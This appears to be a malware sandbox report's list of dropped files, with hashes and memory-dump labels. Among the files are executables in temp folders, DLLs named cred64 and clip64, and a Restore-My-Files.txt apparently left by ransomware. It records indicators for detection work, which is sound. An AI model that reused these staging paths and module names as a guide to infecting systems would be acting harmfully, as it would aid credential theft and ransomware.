C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\x0866244.exe

MD5 8b398f2163d714c487f5d2802b2cdeab
SHA1 566a94d37a04dd2fc1a231f321e972bc56ee05f1
SHA256 6647397b7fb9e74cdea175c3f4eaba58fad3179b954557937bddd22420baaefe
SHA512 58cd50908573a7e26a4dba16dcf4edb394d88d0f929f8400a34d2e45f7cf4510af74c46a2c79d5c2309bd231d4d923457cf7be6ea49defa43e81194ef652f08d

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\x0866244.exe

MD5 8b398f2163d714c487f5d2802b2cdeab
SHA1 566a94d37a04dd2fc1a231f321e972bc56ee05f1
SHA256 6647397b7fb9e74cdea175c3f4eaba58fad3179b954557937bddd22420baaefe
SHA512 58cd50908573a7e26a4dba16dcf4edb394d88d0f929f8400a34d2e45f7cf4510af74c46a2c79d5c2309bd231d4d923457cf7be6ea49defa43e81194ef652f08d

C:\Users\Admin\AppData\Local\Temp\IXP006.TMP\x8891792.exe

MD5 f2db6670d2517041238ef12ca43815bd
SHA1 4f21f18ec5e2d7f3b135b839e78c24ed4faa7d64
SHA256 c746692f98b59a6e83f267c115bd2762f4b68a4f3bd900aa94005d4a2ee44149
SHA512 be229fef7b33186f8c64e7291d4cc16fd94b7a16fee80f22ee3a0cf97b4ebdad09bbfb7760bdfdca1ec1bcbbf9cabf99d62b17700e0d3568e9f845b4c977163f

C:\Users\Admin\AppData\Local\Temp\IXP006.TMP\x8891792.exe

MD5 f2db6670d2517041238ef12ca43815bd
SHA1 4f21f18ec5e2d7f3b135b839e78c24ed4faa7d64
SHA256 c746692f98b59a6e83f267c115bd2762f4b68a4f3bd900aa94005d4a2ee44149
SHA512 be229fef7b33186f8c64e7291d4cc16fd94b7a16fee80f22ee3a0cf97b4ebdad09bbfb7760bdfdca1ec1bcbbf9cabf99d62b17700e0d3568e9f845b4c977163f

C:\Users\Admin\AppData\Local\Temp\IXP007.TMP\f5166158.exe

MD5 11c6abd73a7b51e67a00099f89a11957
SHA1 6884e50aa15bbf9a82abb33c160f2e0322be319b
SHA256 8b9a9ebacf8229aea7bfab21d2aedca4be7a12b30727bcfce4358dc3ac19659d
SHA512 3c248e3405669b3dd417492c6ef1e95a2cc788a9ea20375087f4f274e3c0b6441180b587766511c7a5f84171a7b8738f3749e3c74853ba8b061d88c46f8ce2fb

memory/2592-1369-0x0000000000130000-0x000000000015E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000036051\fotocr06.exe

MD5 d562c43cecab1b0dea429b6513450ced
SHA1 51ca2e00e4448ffae3c07c9d9fe667d92ed81711
SHA256 c44370798cc3c20c190cd233d98de5a4b1726cc477455fe5d74cb7a3b8d0c122
SHA512 8ba17084f242165b8bd14be777385d93c04b67cb5e64dfe3ca257eb584bb7941419749cb64b27ec96cd6fc9fd21fbf8593f5923c89ffa165e18986370ffaf02b

memory/2592-1440-0x0000000004920000-0x0000000004930000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\IXP010.TMP\k8989832.exe

MD5 a709fc71484fb2341834a3801b73c93b
SHA1 9d636b62c008ae82ec656d5795d58d1630f3cea3
SHA256 621216057ba713075de5ed11dde5a82aca6767ae2b2f68600ab71c64366661a9
SHA512 86977e38788407c9ca6bf65a7cd9370a16d209fde2590b4058d14ffde5263d48fe1601a1af4cab559a7763ba5a02f4256e2b3f7d9b33933193c9da5a56400125

C:\Users\Admin\AppData\Local\Temp\IXP010.TMP\l9912234.exe

MD5 1272d7c7e599baf82cc03fd594e58dc0
SHA1 e7df6c361ba1943d0828b08276d2dc2d7b1ce207
SHA256 15c599c2fece91ae72edf8c29a84953c65f9fa5fb11c3b4ae31fe48789f510ac
SHA512 8a1a09109620f062dfaa886362bbe73b92f7defa33a9b7e106be2907460c2bf5603f55f6f7028f253d0b79154204b2c0d31faa10109fd48c60b216633382f759

memory/1388-1480-0x0000000000400000-0x000000000040A000-memory.dmp

memory/2000-1496-0x00000000049D0000-0x00000000049E0000-memory.dmp

memory/3804-1497-0x0000000004D10000-0x0000000004D20000-memory.dmp

memory/2000-1498-0x00000000049D0000-0x00000000049E0000-memory.dmp

memory/2000-1499-0x00000000049D0000-0x00000000049E0000-memory.dmp

memory/2000-1500-0x00000000049D0000-0x00000000049E0000-memory.dmp

memory/4796-1506-0x0000000000400000-0x0000000000438000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\IXP006.TMP\h0291068.exe

MD5 b3b473e04f62407be118fe62a23ee2a8
SHA1 f41ad3e55743ed1fe182e9163c9b7e6749943f00
SHA256 be01f3f0a4ddf630f693f2e06f592944552870caa7cdea8550e6227a236d1ce5
SHA512 d954541f31879cac1726b9747e01ed59abcdb551d389557eb60d6e5eb9d6f3815f04230863f0f23311930d73576c3793fe308bd4c922a59768195ad958e1b618

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\i3215308.exe

MD5 78bee3ec3e5ebaa680bad32863daafd0
SHA1 a5c187797500e73f2f3fe5ae6effb9d5dd8bec08
SHA256 88570b852622abd83ef9a95e30d067785808a2fab21c45b07b0ec7d613fd4550
SHA512 e8cb6e327b94bbf7bec36d9af6f10937178a209b115c8a74ef8183fa7d2d0bdf5fe6699d3f438b7cd249c411ae2a85ec388666f08475c6774ba0708f206430d0

memory/836-1540-0x0000000000400000-0x000000000042E000-memory.dmp

memory/836-1543-0x00000000054A0000-0x00000000054B0000-memory.dmp

memory/4356-1544-0x0000000004CB0000-0x0000000004CC0000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000008

MD5 df6c6ee05898ce35ce5963ff0ae2344d
SHA1 afbdb13d8f620d0a5599cbc7a7d9ce8001ee32f1
SHA256 ee7cfc55a49b2e9825a393a94b0baad18ef5bfced67531382e572ef8a9ecda4b
SHA512 cffb9bf377c98f8def646fb36f58e006d5d526867e7313585f124747276d8fdcc41a54ca34ec23174fd0463a31870a5679772e587cb6827a0ff1c99e46abd894

C:\Users\Admin\Downloads\Unconfirmed 614218.crdownload

MD5 c4a0448925980eacbd22c2dd4869a1c7
SHA1 c76b54eecba442f800d899f2da4a7b5a8d8595be
SHA256 e39aa9b3c9b95311fe951541f733972858fe724fb5265247f2b6b37ff97356ef
SHA512 9dec096bcbfa63110f716a078d125716b4caaab2f50122a4408a5cdd6cec9bd6854eabfd8d9d097e48c94a9d37baad38361f09318130ecb94053f66ae9cc2984

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 4de888f847ce49ac66fd7d11140661d5
SHA1 f5858ae497e41ed2da63875d9b4cfdf1fcad3826
SHA256 cae495bd78ec543d0e4eb57fa39c1554a921d5522d35e72ce3b1b38435f42766
SHA512 6d289c31dd1c8d883566d48583f7ccb0dd39c877716178c2ff2b9b80ff3836c274f256dfa596ccc87119e4784904d8347c029b543d2c463e854d538675e8dde5

memory/1628-1598-0x00000000009A0000-0x00000000009A1000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 099af9c93b0c91b8828c937a60f02768
SHA1 3434d13c9f3f4f7d724c3ada667ba95ac2a6751c
SHA256 e41d4b219f2e7ed0726489457050914c49e188d045f4c58b9e8a46da8d065cc0
SHA512 1397ff453e0a8ebfc624d6b0493f13a463f5fd143d09212f601a45ee1fa5e64888d75dcb372ef0cec759f8522f53fc1f20a1c2edebc3ccb98f732a084aaba323

C:\Users\Admin\Downloads\Unconfirmed 447111.crdownload

MD5 b3b1c5acf3da24e08a655e976309b181
SHA1 156fcc4008f2fc3034634c3a620b80727d3f3c95
SHA256 6618a8b55181b1309dc897d57f9c7264e0c07398615a46c2d901dd1aa6b9a6d6
SHA512 f6ea1b69dc67da0e1d8f0bd55722d37dd227d2b5bdcb291e7e2c458ac2cc76a77343ac580626a91e9c8fce9918b03155d1e88150b6f245b1cc6efa17fdd9dfa2

memory/2064-1643-0x00000000010D0000-0x000000000113B000-memory.dmp

memory/2064-1644-0x00000000014F0000-0x0000000001561000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 17bc37ef8f2a0affef2baf43679e7dce
SHA1 2c445225ae40dfe39e14dd71a5052282b73e53c9
SHA256 55ae94b05add9e63b317758b044804364ab7394051763c3ddfa34051ae29cd79
SHA512 65ac98e0db54708a42a51c9478f9757c123d9a5845a8426db9d7895e25f0f4f158ddf5ccb3e3e3a59aee0c5423f8ac32d7732f3f6edca57a4a68e564946c4e15

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache

MD5 1ac9fd1e150e0299b8e247b8af6a2a19
SHA1 af08c1f852670f8018e3ef299df00f0b28d22878
SHA256 94e823615911b08ceb2352c265efce946519713edff907bf4d646ef894cc3cae
SHA512 03f743fd322baafe95c2d1af4eb8c213b60ab493039f9c3643a8f15a7d8641a4346671082c804c01cf952b15eb2b31b96ce363eb1a63bf455d324ed8fc8f3b74

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_00000b

MD5 fe73a32f00c77fdb6b1f9b61e933b76b
SHA1 015a127407fc5092d52d6a91d51e4fbadc82612a
SHA256 b59dea96ef94e8d32ee1a1805174318643569bbdca0d7569ede19467ff09dcdc
SHA512 19f61da46c14d9c6738ef823d626ee8c5e9707742ae34a0728fa0d7e749a8e5d54384ee77cace273f73b80f1c7466cf0cfc107e6d4c738c099e9b1b21acd0b17

memory/3892-1686-0x00000000074E0000-0x00000000074F0000-memory.dmp

C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll

MD5 1b7c22a214949975556626d7217e9a39
SHA1 d01c97e2944166ed23e47e4a62ff471ab8fa031f
SHA256 340c8464c2007ce3f80682e15dfafa4180b641d53c14201b929906b7b0284d87
SHA512 ba64847cf1d4157d50abe4f4a1e5c1996fe387c5808e2f758c7fb3213bfefe1f3712d343f0c30a16819749840954654a70611d2250fd0f7b032429db7afd2cc5

C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll

MD5 8451a2c5daa42b25333b1b2089c5ea39
SHA1 700cc99ec8d3113435e657070d2d6bde0a833adc
SHA256 b8c8aedd84c363853db934a55087a3b730cf9dc758dea3dc3a98f54217f4c9d0
SHA512 6d2bad0e6ec7852d7b6d1a70a10285db28c06c37252503e01c52458a463582d5211b7e183ae064a36b60f990971a5b14f8af3aaaacc4226be1c2e3e0bf38af53

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 7075662f647acc5525ee1a6548c4d629
SHA1 46c6ac7308357cdcee51f7c6a1f6acb2d5b2d907
SHA256 cbe1b5bcdfecdb2c8e297ae70c0aeadce1cfe5ae86a267c01e71ed577f0c9326
SHA512 f0be8f76d5a8d3c8fbe063aa8dd2510ad6c6efe5c76f021a7f5085b3706f1c5f277a3263f441c3b2dba04b26146bb06b50b24d85b47e84aa8cad60044e3318e4

memory/264-1725-0x0000000000400000-0x0000000000438000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 755b5babe3c5a38a1cb718d6723c4bce
SHA1 a311e9b1b9560d723ce25bf6a11d6ccbf3d4a581
SHA256 41e3898ebcc9fc6a36503530be98e9768770d48b2345b5634376c731a7dadffc
SHA512 13b19f1261b9ad18a1e5c26a66c7ec33b5bfe658d3c3112e59d0b9fb58d9025f2dbdc84fc48254f2f2060c2a79af2c57931df1293c54f0402ed9998fd6ba41fd

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_00000c

MD5 bdcd6016c61d04f4f3e2d21c350df022
SHA1 128d115e1ff7431484ee749e5cbcde7d393de651
SHA256 af619936fa29b7d0cf0c8441674bbf062cea427f9aaad4ea3173b5942956720b
SHA512 81150b565715584b2218857e8e002914a4ed1afe7f8d137651670701843d4184b1826c27e919209be40adeb33a4a5d3e7871484217c416e39dd0a9e002e3c127

C:\Users\Admin\Downloads\ODU0ZjFk.exe

MD5 505262547f8879249794fc31eea41fc6
SHA1 b312dd587e8725edf782e0c176b902fbbfc01468
SHA256 f32f6b229913d68daad937cc72a57aa45291a9d623109ed48938815aa7b6005c
SHA512 68e8acf5d310f763182ea484efa196e35ce8e0665e697a82c6d171d4d0a3fb5ccd3f3a01e22a1219341e9e4a1ade626d7a98e36385b09f07b585b09ab228eba3

memory/1512-1813-0x00000190C0BA0000-0x00000190C0BC2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2kbrb1mk.4z5.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4816-1841-0x000002510C990000-0x000002510C9A0000-memory.dmp

memory/3680-1854-0x000001636E900000-0x000001636E910000-memory.dmp

memory/3680-1855-0x000001636E900000-0x000001636E910000-memory.dmp

memory/3680-1860-0x000001636E900000-0x000001636E910000-memory.dmp

memory/3152-1876-0x0000021920970000-0x0000021920980000-memory.dmp

memory/3152-1877-0x0000021920970000-0x0000021920980000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\out.txt

MD5 371eec2924f196f2dc79a1ab783d50ee
SHA1 18d77adc062c1675bdceeb9850cff69ec73ac5f9
SHA256 8f46e495446dcaf5a65f0bd89d030fd2a089a35eb96fbaa1e6bbc9573dd4f6eb
SHA512 2ae6bd66a01925f5b62212771917fbd90885b59453feb860b690c4b35169af239826a360370876bec9d7490ec2987babe1039b10fa22b6b3061ee4fe4ebb0e16

memory/1968-1890-0x00000184D9990000-0x00000184D99A0000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 0eea6a05112bed4c1d94666d239fec88
SHA1 b2927a4b2391f31dc0f93bb6c275be7839abce66
SHA256 09a2f8ad3fdbfcf765f757e66d94de0a62c1cde3d1166315f86e33fa14ca9f7f
SHA512 30172222beed57927cba174e78eeb46c98a2d08d18dbd6568966f17d768837129b02f5269b7b3e1d586c78c77684e4a9e07560f102d960377267d46e2adf92a6

memory/1968-1900-0x00000184D9990000-0x00000184D99A0000-memory.dmp

C:\Users\Admin\Downloads\Unconfirmed 555957.crdownload

MD5 d65509f10b432f9bbeacfc39a3506e23
SHA1 e97f878f38e1f385414c2a935953b18f55ea2d7c
SHA256 49953677d3c3ab067f00f5dc172b4f6dcac7967f90f8d88cf2bd1a76f640e567
SHA512 c6945c766c3d0e1a685ad3ebda1252eef0e983e672a2539ea5a0e6e0d95ab7b66f385536a664c0d393af5a79cb45ef131ec5ed760ce5c5ec4806e3775c661de8

memory/4720-1948-0x000001CC95700000-0x000001CC95710000-memory.dmp

memory/4720-1950-0x000001CC95700000-0x000001CC95710000-memory.dmp

memory/4720-1952-0x000001CC95700000-0x000001CC95710000-memory.dmp

memory/1548-1972-0x000001B271EB0000-0x000001B271EC0000-memory.dmp

memory/1548-1974-0x000001B271EB0000-0x000001B271EC0000-memory.dmp

memory/1548-1973-0x000001B271EB0000-0x000001B271EC0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 446dd1cf97eaba21cf14d03aebc79f27
SHA1 36e4cc7367e0c7b40f4a8ace272941ea46373799
SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
SHA512 a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

memory/3892-1985-0x0000000000A10000-0x0000000000A3E000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 878b4f8b4ef9b3bbcea68a308456f9e1
SHA1 de4195ba1d943301988c4341229a5fa52acf41c3
SHA256 f28f51daceb90691bfa37e9a46d12bd3f3a542e046ea79846957af97f12d926b
SHA512 ef6cf548f1abc556fc1b22df6af3cdb7814a716546016616188e1612a11886445f04c201dad9782a8260634ef50a7831e70babc0e4937304a51bf1cd023a8667

C:\Users\Admin\Downloads\c1228d61b8c455d7a9cedc12a8279c05b92c944afd78b86a18c20c0c863b2e91.bat

MD5 3e2e43d690850b5d4444c2aedad12119
SHA1 6d5638b2e1e0d54ad41eee3a3993e46bf860a73d
SHA256 c1228d61b8c455d7a9cedc12a8279c05b92c944afd78b86a18c20c0c863b2e91
SHA512 32a4b94f99487bd664d03a16fb658093e11466206925cf73564ca5851f1160ee16a565e143b5b24d8156705b7a7f0c9686592aa214642b463e0a83f9e5aad2ef

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 e2707d0d1f02524f14500b197d67fe78
SHA1 41497374068ac5bf2b40fe1a501af71d8f3aaf65
SHA256 cfa1f7be389d865944b86854222ffb8ccc02892e52bf20944ce4e8726f88da87
SHA512 43c1bc20320808251262252cd3ec2a43a0e2dbcb887faf9f9994ba60e4b696ca9b0a8d52f32ca59bc0c68db43824f071c12c2416b17d89280a55ec54a6620309

C:\Users\Admin\Downloads\Unconfirmed 634791.crdownload

MD5 b8e1e5b832e5947f41fd6ae6ef6d09a1
SHA1 a3ca8df5115ff13b75d21f2a475e8e60e5c9ed1e
SHA256 48d208b87b29d50bb160f336c94b681e232b0f90e8c02175e593d60737369c13
SHA512 1f4d0505ae510229db189f58b68b5e1329d8dcbcb7a464507a6f958ccbca992965dc327d824460f1d1e9e0f2ab8b978163705022ea096ae3f691ec5f681ee519

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\26e7ef07-03ff-43c5-9fa3-3484eb1f1b93.tmp

MD5 165605598cc7afbd91d85cde341d8085
SHA1 13944712ff4b77b01aef36af6a984b28abd33555
SHA256 d07ec411eb5b356608bb60002394dd2ff0e9e0334354934b434340b8701a7461
SHA512 bf87c04d8f104c4f86d0548181f6ac3aeefd4714f8fc9a09f4f4907e77472526068c9f8da9d47b0b29b1671dd37857dd600aaa6c237f3441d54f45c823402c53

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 629f85c7ff58a7e47a0018d229835d29
SHA1 85691862b83fc1e2d854b2dc3ecf10750a8d41c5
SHA256 409f50cc89764477d5b71729dd47ea0bfe9e4d0cb02038e6e174044adaf4a9d9
SHA512 a84d48b1d7a5748eac74bfa23a2108e3d9b264c07bb7c418d67a11306736680f8e81bea134ff21fa1ae06ed42d052d5d6e0f5e36f98ab8b2dce6abc70b19c88c

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000010

MD5 fa36b30bb100a9a8e1f6f5054f6762d1
SHA1 75d6a757fe78c96174f375b88fdc7c365da23771
SHA256 7452b5e1aa5ea4fede44327fe843fe683bcd65ad31872c4eac344182f91c5a37
SHA512 588c588b86575d1ace4fe691556032c2b123184bf967808a6f78b9cc0744cf55b1ce64f5c0d3a96abce87d488e3fa547bd1b0cc057899d31aed5f1d21c5048af

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 8ccaa537ca844757492e66322ceb9178
SHA1 a077c16d062b02ac41482e754f91e729d46d2739
SHA256 e3c04d5a44f3ab8c9fc6a0f7dc359802e472b2eedf130a836b18d562f20d0efb
SHA512 172c0cd2c5e8429996fca91f70206d766128228de0409be3f6975a233708ee335a0e86dfac2d0b4aee7f4b535ce3878a295ca7223ade713b15ed5084ad293960

C:\Users\Admin\Downloads\YzlhMGI2 (2).exe

MD5 53f25f98742c5114eec23c6487af624c
SHA1 671af46401450d6ed9c0904402391640a1bddcc2
SHA256 7b5dec6a48ee2114c3056f4ccb6935f3e7418ef0b0bc4a58931f2c80fc94d705
SHA512 f460775308b34552c930c3f256cef1069b28421673d71e3fa2712b0467485861a98285925ae49f1adea1faf59265b964c873c12a3bb5de216122ac20084e1048

C:\Users\Admin\Documents\sweet.jpg

MD5 58b1840b979ae31f23aa8eb3594d5c17
SHA1 6b28b8e047cee70c7fa42715c552ea13a5671bbb
SHA256 b2bb460aa299c6064e7fc947bff314e0f915c6ee6f8f700007129e3b6a314f47
SHA512 13548e5900bddc6797d573fcca24cec1f1eefa0662e9d07c4055a3899460f4e135e1c76197b57a49b452e61e201cb86d1960f3e8b00828a2d0031dc9aa78666a

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 5cc8f7ab953ffbc2f3741b5ff6177759
SHA1 4a81feccaffa157f8c069ca692112296e3900178
SHA256 f967ae95a24cc8c5d38022e4c63d738874d0d3df63f6882c7135c6e85c6c1bb8
SHA512 51a573344970e868fc4a3b5561fafd7e7d53624f27841bfe7cf13edb3734eb9e24beee8c5cc3053966b650849e04c64f4e78c1015039c25ceb51b51bbce49b58

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 a39703028f9eeab95cb28153c7ac5db9
SHA1 3e58f66c7a0ac779cb2c8d6bd472a9cb6a0c2c1d
SHA256 5784ea84cc7226ec1c8c813acc6038b2789efcdd1fe935d0bc9582679394b9ee
SHA512 afcfedaf486bc697f286c5d071b4f91a6354c4ad93324ff6d41b8750293f05d2fdc7ed4244b5951d94c646461743ccee733d75840c7a3e8f9608bdefef371683

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000012

MD5 41687e58130c8bdca248e1403e565afb
SHA1 6eda5da62e5073a67ff89dd89b85328dd2df73d1
SHA256 fef1f9664fde9b23754c691b15a05fdc35a51a0ceb8a18fb9a5a0166e6377c69
SHA512 6cd670e5f14a8d6fa1b5894a89cfe514d403f3f8dc82be9c83f86345be72d218844cd3f8c1c045deae6a292796d6d280efe49c8de724abda038c522407a14cde

C:\Program Files\Java\jdk1.8.0_66\Restore-My-Files.txt

MD5 f1c62d1de23f8795c23120d7e99eecfe
SHA1 192825fff2ca9800ff2fd5e8160571e573526eb3
SHA256 cccdaa3b4d2d2dd82da917f1af15b05c0dfdf5dcff4d737be94f5e1be0be6740
SHA512 f3b601e0acf3567909e4b4dc8d476a5b9c3faff1151f30acbc6eba8c69a09665ee669633a7a11f396698546156979283d0032d9494a0698ab1dcf50fff4879d4

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 a73b63c92ba2c00863ecaef2b924b634
SHA1 efe55addfe7b735b109f3564f27da2b63063c590
SHA256 161905fe9e2b515d7e057ab418328e0f92b40545388e4b9a02a7d4589e97e070
SHA512 d3a56ed2761282e11777f38fdf4d8f98c902a96a3693bcb93ea1e2ec3e3682531b54abbfb00245bf6c9560c86f9b8ab011d70f59e3a6bd92bc3fb855c41ff723